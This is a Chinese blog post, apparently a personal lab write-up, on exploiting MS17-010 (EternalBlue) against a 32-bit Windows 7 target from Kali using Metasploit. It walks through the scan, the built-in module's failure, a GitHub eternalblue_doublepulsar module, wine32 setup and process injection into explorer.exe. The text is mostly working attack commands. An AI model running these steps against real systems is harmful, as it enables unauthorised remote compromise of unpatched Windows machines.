1、直接使用msfconsole中自带的 “ms17_010_eternalblue”模块
攻击机：192.168.148.134 kali linux.2 x64
靶机：192.168.148.137 win7 x32
1.1先用msfconsole的smb模块扫描，看看是否有漏洞
use auxiliary/scanner/smb/smb_ms17_010
auxiliary(smb_ms17_010) > set RHOSTS 192.168.148.137 若要范围扫描，则将IP改为 192.168.148.*
存在漏洞！！
1.2使用模块
use exploit/windows/smb/ms17_010_eternalblue
show options
设置目标：
set rhost 192.168.148.137
设置payload等
set lhost 192.168.148.134
set lport 4444
run
结果：
这里提示我们 架构选择不对，我们再来看看target
这个x64括号是指什么？
不知道，难道是payload设置错了？
这里用了show payloads，发现 这里可选择的payload都是64位的，我们的目标机是32位的，所以提示我们架构不对。
这时候，这个msf自带的模块似乎不能用。
2、使用github上的模块
/ElevenPaths/Eternalblue-Doublepulsar-Metasploit/
2.1复制到ROOT目录，解压
2.2 将Github下载来的eternalblue_doublepulsar.rb，拷贝到 /usr/share/metasploit-framework/modules/exploits/windows/smb目录中。
2.3打开msf，
执行reload_all
2.4调用模块
use exploit/windows/smb/eternalblue_doublepulsar
2.5查看选项
2.6设置
由于目标是win7 32 位，所以target选8（默认），然后run
2.7run
当执行exploit出现问题该如何解决？
打开多架构支持/安装wine32。
wine -h
2.8再次run
又报错，这时候，我们修改注入进程
set processinject explorer.exe
run
注入成功
截屏
如果觉得《关于利用kali linux.2中MSFCONSOLE 利用MS17-010漏洞发起攻击的坑》对你有帮助，请点赞、收藏，并留下你的观点哦！
